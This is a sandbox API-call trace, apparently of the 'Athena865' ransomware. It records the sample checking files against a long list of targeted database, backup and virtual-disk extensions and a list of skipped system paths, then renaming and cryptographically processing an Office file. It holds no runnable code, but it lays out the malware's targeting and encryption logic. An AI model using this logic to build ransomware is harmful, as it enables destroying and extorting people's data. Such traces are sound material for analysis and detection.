lstrlenW (lpString="kexic") returned 5 [0067.132] lstrcmpiW (lpString1="P.DIC", lpString2="kexic") returned 1 [0067.133] lstrlenW (lpString="kexis") returned 5 [0067.133] lstrcmpiW (lpString1="P.DIC", lpString2="kexis") returned 1 [0067.133] lstrlenW (lpString="lgc") returned 3 [0067.133] lstrcmpiW (lpString1="DIC", lpString2="lgc") returned -1 [0067.133] lstrlenW (lpString="lwx") returned 3 [0067.133] lstrcmpiW (lpString1="DIC", lpString2="lwx") returned -1 [0067.133] lstrlenW (lpString="maf") returned 3 [0067.133] lstrcmpiW (lpString1="DIC", lpString2="maf") returned -1 [0067.133] lstrlenW (lpString="maq") returned 3 [0067.133] lstrcmpiW (lpString1="DIC", lpString2="maq") returned -1 [0067.133] lstrlenW (lpString="mar") returned 3 [0067.133] lstrcmpiW (lpString1="DIC", lpString2="mar") returned -1 [0067.133] lstrlenW (lpString="marshal") returned 7 [0067.133] lstrcmpiW (lpString1="ZIP.DIC", lpString2="marshal") returned 1 [0067.133] lstrlenW (lpString="mas") returned 3 [0067.133] lstrcmpiW (lpString1="DIC", lpString2="mas") returned -1 [0067.133] lstrlenW (lpString="mav") returned 3 [0067.133] lstrcmpiW (lpString1="DIC", lpString2="mav") returned -1 [0067.133] lstrlenW (lpString="maw") returned 3 [0067.133] lstrcmpiW (lpString1="DIC", lpString2="maw") returned -1 [0067.133] lstrlenW (lpString="mdbhtml") returned 7 [0067.133] lstrcmpiW (lpString1="ZIP.DIC", lpString2="mdbhtml") returned 1 [0067.133] lstrlenW (lpString="mdn") returned 3 [0067.133] lstrcmpiW (lpString1="DIC", lpString2="mdn") returned -1 [0067.133] lstrlenW (lpString="mdt") returned 3 [0067.133] lstrcmpiW (lpString1="DIC", lpString2="mdt") returned -1 [0067.133] lstrlenW (lpString="mfd") returned 3 [0067.133] lstrcmpiW (lpString1="DIC", lpString2="mfd") returned -1 [0067.133] lstrlenW (lpString="mpd") returned 3 [0067.133] lstrcmpiW (lpString1="DIC", lpString2="mpd") returned -1 [0067.133] lstrlenW (lpString="mrg") returned 3 [0067.133] lstrcmpiW (lpString1="DIC", lpString2="mrg") returned -1 [0067.134] lstrlenW (lpString="mud") returned 3 [0067.134] lstrcmpiW (lpString1="DIC", lpString2="mud") returned -1 [0067.134] lstrlenW (lpString="mwb") returned 3 [0067.134] lstrcmpiW (lpString1="DIC", lpString2="mwb") returned -1 [0067.134] lstrlenW (lpString="myd") returned 3 [0067.134] lstrcmpiW (lpString1="DIC", lpString2="myd") returned -1 [0067.134] lstrlenW (lpString="ndf") returned 3 [0067.134] lstrcmpiW (lpString1="DIC", lpString2="ndf") returned -1 [0067.134] lstrlenW (lpString="nnt") returned 3 [0067.134] lstrcmpiW (lpString1="DIC", lpString2="nnt") returned -1 [0067.134] lstrlenW (lpString="nrmlib") returned 6 [0067.134] lstrcmpiW (lpString1="IP.DIC", lpString2="nrmlib") returned -1 [0067.134] lstrlenW (lpString="ns2") returned 3 [0067.134] lstrcmpiW (lpString1="DIC", lpString2="ns2") returned -1 [0067.134] lstrlenW (lpString="ns3") returned 3 [0067.134] lstrcmpiW (lpString1="DIC", lpString2="ns3") returned -1 [0067.134] lstrlenW (lpString="ns4") returned 3 [0067.134] lstrcmpiW (lpString1="DIC", lpString2="ns4") returned -1 [0067.134] lstrlenW (lpString="nsf") returned 3 [0067.134] lstrcmpiW (lpString1="DIC", lpString2="nsf") returned -1 [0067.134] lstrlenW (lpString="nv") returned 2 [0067.134] lstrcmpiW (lpString1="IC", lpString2="nv") returned -1 [0067.134] lstrlenW (lpString="nv2") returned 3 [0067.134] lstrcmpiW (lpString1="DIC", lpString2="nv2") returned -1 [0067.134] lstrlenW (lpString="nwdb") returned 4 [0067.134] lstrcmpiW (lpString1=".DIC", lpString2="nwdb") returned -1 [0067.134] lstrlenW (lpString="nyf") returned 3 [0067.134] lstrcmpiW (lpString1="DIC", lpString2="nyf") returned -1 [0067.134] lstrlenW (lpString="odb") returned 3 [0067.134] lstrcmpiW (lpString1="DIC", lpString2="odb") returned -1 [0067.134] lstrlenW (lpString="odb") returned 3 [0067.134] lstrcmpiW (lpString1="DIC", lpString2="odb") returned -1 [0067.134] lstrlenW (lpString="oqy") returned 3 [0067.135] lstrcmpiW (lpString1="DIC", lpString2="oqy") returned -1 [0067.135] lstrlenW (lpString="ora") returned 3 [0067.135] lstrcmpiW (lpString1="DIC", lpString2="ora") returned -1 [0067.135] lstrlenW (lpString="orx") returned 3 [0067.135] lstrcmpiW (lpString1="DIC", lpString2="orx") returned -1 [0067.135] lstrlenW (lpString="owc") returned 3 [0067.135] lstrcmpiW (lpString1="DIC", lpString2="owc") returned -1 [0067.135] lstrlenW (lpString="p96") returned 3 [0067.135] lstrcmpiW (lpString1="DIC", lpString2="p96") returned -1 [0067.135] lstrlenW (lpString="p97") returned 3 [0067.135] lstrcmpiW (lpString1="DIC", lpString2="p97") returned -1 [0067.135] lstrlenW (lpString="pan") returned 3 [0067.135] lstrcmpiW (lpString1="DIC", lpString2="pan") returned -1 [0067.135] lstrlenW (lpString="pdb") returned 3 [0067.135] lstrcmpiW (lpString1="DIC", lpString2="pdb") returned -1 [0067.135] lstrlenW (lpString="pdm") returned 3 [0067.135] lstrcmpiW (lpString1="DIC", lpString2="pdm") returned -1 [0067.135] lstrlenW (lpString="pnz") returned 3 [0067.135] lstrcmpiW (lpString1="DIC", lpString2="pnz") returned -1 [0067.135] lstrlenW (lpString="qry") returned 3 [0067.135] lstrcmpiW (lpString1="DIC", lpString2="qry") returned -1 [0067.135] lstrlenW (lpString="qvd") returned 3 [0067.135] lstrcmpiW (lpString1="DIC", lpString2="qvd") returned -1 [0067.135] lstrlenW (lpString="rbf") returned 3 [0067.135] lstrcmpiW (lpString1="DIC", lpString2="rbf") returned -1 [0067.135] lstrlenW (lpString="rctd") returned 4 [0067.135] lstrcmpiW (lpString1=".DIC", lpString2="rctd") returned -1 [0067.135] lstrlenW (lpString="rod") returned 3 [0067.135] lstrcmpiW (lpString1="DIC", lpString2="rod") returned -1 [0067.135] lstrlenW (lpString="rodx") returned 4 [0067.135] lstrcmpiW (lpString1=".DIC", lpString2="rodx") returned -1 [0067.135] lstrlenW (lpString="rpd") returned 3 [0067.136] lstrcmpiW (lpString1="DIC", lpString2="rpd") returned -1 [0067.136] lstrlenW (lpString="rsd") returned 3 [0067.136] lstrcmpiW (lpString1="DIC", lpString2="rsd") returned -1 [0067.136] lstrlenW (lpString="sas7bdat") returned 8 [0067.136] lstrcmpiW (lpString1="VZIP.DIC", lpString2="sas7bdat") returned 1 [0067.136] lstrlenW (lpString="sbf") returned 3 [0067.136] lstrcmpiW (lpString1="DIC", lpString2="sbf") returned -1 [0067.136] lstrlenW (lpString="scx") returned 3 [0067.136] lstrcmpiW (lpString1="DIC", lpString2="scx") returned -1 [0067.136] lstrlenW (lpString="sdb") returned 3 [0067.136] lstrcmpiW (lpString1="DIC", lpString2="sdb") returned -1 [0067.136] lstrlenW (lpString="sdc") returned 3 [0067.136] lstrcmpiW (lpString1="DIC", lpString2="sdc") returned -1 [0067.136] lstrlenW (lpString="sdf") returned 3 [0067.136] lstrcmpiW (lpString1="DIC", lpString2="sdf") returned -1 [0067.136] lstrlenW (lpString="sis") returned 3 [0067.136] lstrcmpiW (lpString1="DIC", lpString2="sis") returned -1 [0067.136] lstrlenW (lpString="spq") returned 3 [0067.136] lstrcmpiW (lpString1="DIC", lpString2="spq") returned -1 [0067.136] lstrlenW (lpString="te") returned 2 [0067.136] lstrcmpiW (lpString1="IC", lpString2="te") returned -1 [0067.136] lstrlenW (lpString="teacher") returned 7 [0067.136] lstrcmpiW (lpString1="ZIP.DIC", lpString2="teacher") returned 1 [0067.136] lstrlenW (lpString="tmd") returned 3 [0067.136] lstrcmpiW (lpString1="DIC", lpString2="tmd") returned -1 [0067.136] lstrlenW (lpString="tps") returned 3 [0067.136] lstrcmpiW (lpString1="DIC", lpString2="tps") returned -1 [0067.136] lstrlenW (lpString="trc") returned 3 [0067.136] lstrcmpiW (lpString1="DIC", lpString2="trc") returned -1 [0067.136] lstrlenW (lpString="trc") returned 3 [0067.136] lstrcmpiW (lpString1="DIC", lpString2="trc") returned -1 [0067.136] lstrlenW (lpString="trm") returned 3 [0067.137] lstrcmpiW (lpString1="DIC", lpString2="trm") returned -1 [0067.137] lstrlenW (lpString="udb") returned 3 [0067.137] lstrcmpiW (lpString1="DIC", lpString2="udb") returned -1 [0067.137] lstrlenW (lpString="udl") returned 3 [0067.137] lstrcmpiW (lpString1="DIC", lpString2="udl") returned -1 [0067.137] lstrlenW (lpString="usr") returned 3 [0067.137] lstrcmpiW (lpString1="DIC", lpString2="usr") returned -1 [0067.137] lstrlenW (lpString="v12") returned 3 [0067.137] lstrcmpiW (lpString1="DIC", lpString2="v12") returned -1 [0067.137] lstrlenW (lpString="vis") returned 3 [0067.137] lstrcmpiW (lpString1="DIC", lpString2="vis") returned -1 [0067.137] lstrlenW (lpString="vpd") returned 3 [0067.137] lstrcmpiW (lpString1="DIC", lpString2="vpd") returned -1 [0067.137] lstrlenW (lpString="vvv") returned 3 [0067.137] lstrcmpiW (lpString1="DIC", lpString2="vvv") returned -1 [0067.137] lstrlenW (lpString="wdb") returned 3 [0067.137] lstrcmpiW (lpString1="DIC", lpString2="wdb") returned -1 [0067.137] lstrlenW (lpString="wmdb") returned 4 [0067.137] lstrcmpiW (lpString1=".DIC", lpString2="wmdb") returned -1 [0067.137] lstrlenW (lpString="wrk") returned 3 [0067.137] lstrcmpiW (lpString1="DIC", lpString2="wrk") returned -1 [0067.137] lstrlenW (lpString="xdb") returned 3 [0067.137] lstrcmpiW (lpString1="DIC", lpString2="xdb") returned -1 [0067.137] lstrlenW (lpString="xld") returned 3 [0067.137] lstrcmpiW (lpString1="DIC", lpString2="xld") returned -1 [0067.137] lstrlenW (lpString="xmlff") returned 5 [0067.137] lstrcmpiW (lpString1="P.DIC", lpString2="xmlff") returned -1 [0067.137] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\ADVZIP.DIC.Athena865") returned 63 [0067.137] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADVZIP.DIC" (normalized: "c:\\program files\\microsoft office\\office14\\advzip.dic"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADVZIP.DIC.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\advzip.dic.athena865"), dwFlags=0x1) returned 1 [0067.141] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADVZIP.DIC.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\advzip.dic.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0067.141] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3024356) returned 1 [0067.141] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0067.141] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d0c0 [0067.141] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0067.141] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0067.142] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0067.142] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0067.142] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2e28f0, lpName=0x0) returned 0x154 [0067.144] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x200000, dwNumberOfBytesToMap=0xe28f0) returned 0x2d50000 [0067.187] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x200000) returned 0x3160000 [0067.262] UnmapViewOfFile (lpBaseAddress=0x3160000) returned 1 [0067.280] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0067.281] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0067.281] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0067.281] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539158 [0067.281] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539158 | out: hHeap=0x4f0000) returned 1 [0067.281] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b690 [0067.281] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0067.281] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0067.281] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0067.281] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b690 [0067.281] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0067.281] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0067.282] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0067.282] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0067.290] CloseHandle (hObject=0x154) returned 1 [0067.290] CloseHandle (hObject=0x17c) returned 1 [0067.290] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d0c0 | out: hHeap=0x4f0000) returned 1 [0067.290] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0067.290] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0067.299] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xcf779b20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x17fb78, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AEC.DLL", cAlternateFileName="")) returned 1 [0067.299] lstrcmpiW (lpString1="AEC.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0067.299] lstrcmpiW (lpString1="AEC.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0067.299] lstrcmpiW (lpString1="AEC.DLL", lpString2=".") returned 1 [0067.299] lstrcmpiW (lpString1="AEC.DLL", lpString2="..") returned 1 [0067.299] lstrcmpiW (lpString1="AEC.DLL", lpString2="windows") returned -1 [0067.299] lstrcmpiW (lpString1="AEC.DLL", lpString2="bootmgr") returned -1 [0067.299] lstrcmpiW (lpString1="AEC.DLL", lpString2="temp") returned -1 [0067.299] lstrcmpiW (lpString1="AEC.DLL", lpString2="pagefile.sys") returned -1 [0067.299] lstrcmpiW (lpString1="AEC.DLL", lpString2="boot") returned -1 [0067.299] lstrcmpiW (lpString1="AEC.DLL", lpString2="ids.txt") returned -1 [0067.299] lstrcmpiW (lpString1="AEC.DLL", lpString2="ntuser.dat") returned -1 [0067.299] lstrcmpiW (lpString1="AEC.DLL", lpString2="perflogs") returned -1 [0067.299] lstrcmpiW (lpString1="AEC.DLL", lpString2="MSBuild") returned -1 [0067.299] lstrlenW (lpString="AEC.DLL") returned 7 [0067.299] lstrcpyW (in: lpString1=0x241e89e, lpString2="AEC.DLL" | out: lpString1="AEC.DLL") returned="AEC.DLL" [0067.299] lstrlenW (lpString="AEC.DLL") returned 7 [0067.299] lstrlenW (lpString="Athena865") returned 9 [0067.299] lstrlenW (lpString=".dll") returned 4 [0067.299] lstrcmpiW (lpString1="AEC.DLL", lpString2=".dll") returned 1 [0067.299] lstrlenW (lpString=".lnk") returned 4 [0067.299] lstrcmpiW (lpString1="AEC.DLL", lpString2=".lnk") returned 1 [0067.300] lstrlenW (lpString=".ini") returned 4 [0067.300] lstrcmpiW (lpString1="AEC.DLL", lpString2=".ini") returned 1 [0067.300] lstrlenW (lpString=".sys") returned 4 [0067.300] lstrcmpiW (lpString1="AEC.DLL", lpString2=".sys") returned 1 [0067.300] lstrlenW (lpString="AEC.DLL") returned 7 [0067.300] lstrlenW (lpString="bak") returned 3 [0067.300] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0067.300] lstrlenW (lpString="ba_") returned 3 [0067.300] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0067.300] lstrlenW (lpString="dbb") returned 3 [0067.300] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0067.300] lstrlenW (lpString="vmdk") returned 4 [0067.300] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0067.300] lstrlenW (lpString="rar") returned 3 [0067.300] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0067.300] lstrlenW (lpString="zip") returned 3 [0067.300] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0067.300] lstrlenW (lpString="tgz") returned 3 [0067.300] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0067.300] lstrlenW (lpString="vbox") returned 4 [0067.300] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0067.300] lstrlenW (lpString="vdi") returned 3 [0067.300] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0067.300] lstrlenW (lpString="vhd") returned 3 [0067.300] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0067.300] lstrlenW (lpString="vhdx") returned 4 [0067.300] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0067.301] lstrlenW (lpString="avhd") returned 4 [0067.301] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0067.301] lstrlenW (lpString="db") returned 2 [0067.301] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0067.301] lstrlenW (lpString="db2") returned 3 [0067.301] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0067.301] lstrlenW (lpString="db3") returned 3 [0067.301] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0067.301] lstrlenW (lpString="dbf") returned 3 [0067.301] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0067.301] lstrlenW (lpString="mdf") returned 3 [0067.301] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0067.301] lstrlenW (lpString="mdb") returned 3 [0067.301] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0067.301] lstrlenW (lpString="sql") returned 3 [0067.301] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0067.301] lstrlenW (lpString="sqlite") returned 6 [0067.301] lstrcmpiW (lpString1="EC.DLL", lpString2="sqlite") returned -1 [0067.301] lstrlenW (lpString="sqlite3") returned 7 [0067.301] lstrlenW (lpString="sqlitedb") returned 8 [0067.301] lstrlenW (lpString="xml") returned 3 [0067.301] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0067.301] lstrlenW (lpString="$er") returned 3 [0067.301] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0067.301] lstrlenW (lpString="4dd") returned 3 [0067.301] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0067.301] lstrlenW (lpString="4dl") returned 3 [0067.301] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0067.301] lstrlenW (lpString="^^^") returned 3 [0067.301] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0067.301] lstrlenW (lpString="abs") returned 3 [0067.301] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0067.301] lstrlenW (lpString="abx") returned 3 [0067.301] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0067.302] lstrlenW (lpString="accdb") returned 5 [0067.302] lstrcmpiW (lpString1="C.DLL", lpString2="accdb") returned 1 [0067.302] lstrlenW (lpString="accdc") returned 5 [0067.302] lstrcmpiW (lpString1="C.DLL", lpString2="accdc") returned 1 [0067.302] lstrlenW (lpString="accde") returned 5 [0067.302] lstrcmpiW (lpString1="C.DLL", lpString2="accde") returned 1 [0067.302] lstrlenW (lpString="accdr") returned 5 [0067.302] lstrcmpiW (lpString1="C.DLL", lpString2="accdr") returned 1 [0067.302] lstrlenW (lpString="accdt") returned 5 [0067.302] lstrcmpiW (lpString1="C.DLL", lpString2="accdt") returned 1 [0067.302] lstrlenW (lpString="accdw") returned 5 [0067.302] lstrcmpiW (lpString1="C.DLL", lpString2="accdw") returned 1 [0067.302] lstrlenW (lpString="accft") returned 5 [0067.302] lstrcmpiW (lpString1="C.DLL", lpString2="accft") returned 1 [0067.302] lstrlenW (lpString="adb") returned 3 [0067.302] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0067.302] lstrlenW (lpString="adb") returned 3 [0067.302] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0067.302] lstrlenW (lpString="ade") returned 3 [0067.302] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0067.302] lstrlenW (lpString="adf") returned 3 [0067.302] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0067.302] lstrlenW (lpString="adn") returned 3 [0067.302] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0067.302] lstrlenW (lpString="adp") returned 3 [0067.302] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0067.302] lstrlenW (lpString="alf") returned 3 [0067.302] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0067.302] lstrlenW (lpString="ask") returned 3 [0067.302] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0067.302] lstrlenW (lpString="btr") returned 3 [0067.303] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0067.303] lstrlenW (lpString="cat") returned 3 [0067.303] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0067.303] lstrlenW (lpString="cdb") returned 3 [0067.303] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0067.303] lstrlenW (lpString="ckp") returned 3 [0067.303] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0067.303] lstrlenW (lpString="cma") returned 3 [0067.303] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0067.303] lstrlenW (lpString="cpd") returned 3 [0067.303] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0067.303] lstrlenW (lpString="dacpac") returned 6 [0067.303] lstrcmpiW (lpString1="EC.DLL", lpString2="dacpac") returned 1 [0067.303] lstrlenW (lpString="dad") returned 3 [0067.303] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0067.303] lstrlenW (lpString="dadiagrams") returned 10 [0067.303] lstrlenW (lpString="daschema") returned 8 [0067.303] lstrlenW (lpString="db-journal") returned 10 [0067.303] lstrlenW (lpString="db-shm") returned 6 [0067.303] lstrcmpiW (lpString1="EC.DLL", lpString2="db-shm") returned 1 [0067.303] lstrlenW (lpString="db-wal") returned 6 [0067.303] lstrcmpiW (lpString1="EC.DLL", lpString2="db-wal") returned 1 [0067.303] lstrlenW (lpString="dbc") returned 3 [0067.303] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0067.303] lstrlenW (lpString="dbs") returned 3 [0067.303] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0067.303] lstrlenW (lpString="dbt") returned 3 [0067.303] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0067.303] lstrlenW (lpString="dbv") returned 3 [0067.303] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0067.303] lstrlenW (lpString="dbx") returned 3 [0067.303] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0067.303] lstrlenW (lpString="dcb") returned 3 [0067.304] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0067.304] lstrlenW (lpString="dct") returned 3 [0067.304] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1 [0067.304] lstrlenW (lpString="dcx") returned 3 [0067.304] lstrcmpiW (lpString1="DLL", lpString2="dcx") returned 1 [0067.304] lstrlenW (lpString="ddl") returned 3 [0067.304] lstrcmpiW (lpString1="DLL", lpString2="ddl") returned 1 [0067.304] lstrlenW (lpString="dlis") returned 4 [0067.304] lstrcmpiW (lpString1=".DLL", lpString2="dlis") returned -1 [0067.304] lstrlenW (lpString="dp1") returned 3 [0067.304] lstrcmpiW (lpString1="DLL", lpString2="dp1") returned -1 [0067.304] lstrlenW (lpString="dqy") returned 3 [0067.304] lstrcmpiW (lpString1="DLL", lpString2="dqy") returned -1 [0067.304] lstrlenW (lpString="dsk") returned 3 [0067.304] lstrcmpiW (lpString1="DLL", lpString2="dsk") returned -1 [0067.304] lstrlenW (lpString="dsn") returned 3 [0067.304] lstrcmpiW (lpString1="DLL", lpString2="dsn") returned -1 [0067.304] lstrlenW (lpString="dtsx") returned 4 [0067.304] lstrcmpiW (lpString1=".DLL", lpString2="dtsx") returned -1 [0067.304] lstrlenW (lpString="dxl") returned 3 [0067.304] lstrcmpiW (lpString1="DLL", lpString2="dxl") returned -1 [0067.304] lstrlenW (lpString="eco") returned 3 [0067.304] lstrcmpiW (lpString1="DLL", lpString2="eco") returned -1 [0067.304] lstrlenW (lpString="ecx") returned 3 [0067.304] lstrcmpiW (lpString1="DLL", lpString2="ecx") returned -1 [0067.304] lstrlenW (lpString="edb") returned 3 [0067.304] lstrcmpiW (lpString1="DLL", lpString2="edb") returned -1 [0067.304] lstrlenW (lpString="epim") returned 4 [0067.304] lstrcmpiW (lpString1=".DLL", lpString2="epim") returned -1 [0067.304] lstrlenW (lpString="fcd") returned 3 [0067.304] lstrcmpiW (lpString1="DLL", lpString2="fcd") returned -1 [0067.304] lstrlenW (lpString="fdb") returned 3 [0067.304] lstrcmpiW (lpString1="DLL", lpString2="fdb") returned -1 [0067.305] lstrlenW (lpString="fic") returned 3 [0067.305] lstrcmpiW (lpString1="DLL", lpString2="fic") returned -1 [0067.305] lstrlenW (lpString="flexolibrary") returned 12 [0067.305] lstrlenW (lpString="fm5") returned 3 [0067.305] lstrcmpiW (lpString1="DLL", lpString2="fm5") returned -1 [0067.305] lstrlenW (lpString="fmp") returned 3 [0067.305] lstrcmpiW (lpString1="DLL", lpString2="fmp") returned -1 [0067.305] lstrlenW (lpString="fmp12") returned 5 [0067.305] lstrcmpiW (lpString1="C.DLL", lpString2="fmp12") returned -1 [0067.305] lstrlenW (lpString="fmpsl") returned 5 [0067.305] lstrcmpiW (lpString1="C.DLL", lpString2="fmpsl") returned -1 [0067.305] lstrlenW (lpString="fol") returned 3 [0067.305] lstrcmpiW (lpString1="DLL", lpString2="fol") returned -1 [0067.305] lstrlenW (lpString="fp3") returned 3 [0067.305] lstrcmpiW (lpString1="DLL", lpString2="fp3") returned -1 [0067.305] lstrlenW (lpString="fp4") returned 3 [0067.305] lstrcmpiW (lpString1="DLL", lpString2="fp4") returned -1 [0067.305] lstrlenW (lpString="fp5") returned 3 [0067.305] lstrcmpiW (lpString1="DLL", lpString2="fp5") returned -1 [0067.305] lstrlenW (lpString="fp7") returned 3 [0067.305] lstrcmpiW (lpString1="DLL", lpString2="fp7") returned -1 [0067.305] lstrlenW (lpString="fpt") returned 3 [0067.305] lstrcmpiW (lpString1="DLL", lpString2="fpt") returned -1 [0067.305] lstrlenW (lpString="frm") returned 3 [0067.305] lstrcmpiW (lpString1="DLL", lpString2="frm") returned -1 [0067.305] lstrlenW (lpString="gdb") returned 3 [0067.305] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0067.305] lstrlenW (lpString="gdb") returned 3 [0067.305] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0067.305] lstrlenW (lpString="grdb") returned 4 [0067.305] lstrcmpiW (lpString1=".DLL", lpString2="grdb") returned -1 [0067.305] lstrlenW (lpString="gwi") returned 3 [0067.305] lstrcmpiW (lpString1="DLL", lpString2="gwi") returned -1 [0067.306] lstrlenW (lpString="hdb") returned 3 [0067.306] lstrcmpiW (lpString1="DLL", lpString2="hdb") returned -1 [0067.306] lstrlenW (lpString="his") returned 3 [0067.306] lstrcmpiW (lpString1="DLL", lpString2="his") returned -1 [0067.306] lstrlenW (lpString="ib") returned 2 [0067.306] lstrcmpiW (lpString1="LL", lpString2="ib") returned 1 [0067.306] lstrlenW (lpString="idb") returned 3 [0067.306] lstrcmpiW (lpString1="DLL", lpString2="idb") returned -1 [0067.306] lstrlenW (lpString="ihx") returned 3 [0067.306] lstrcmpiW (lpString1="DLL", lpString2="ihx") returned -1 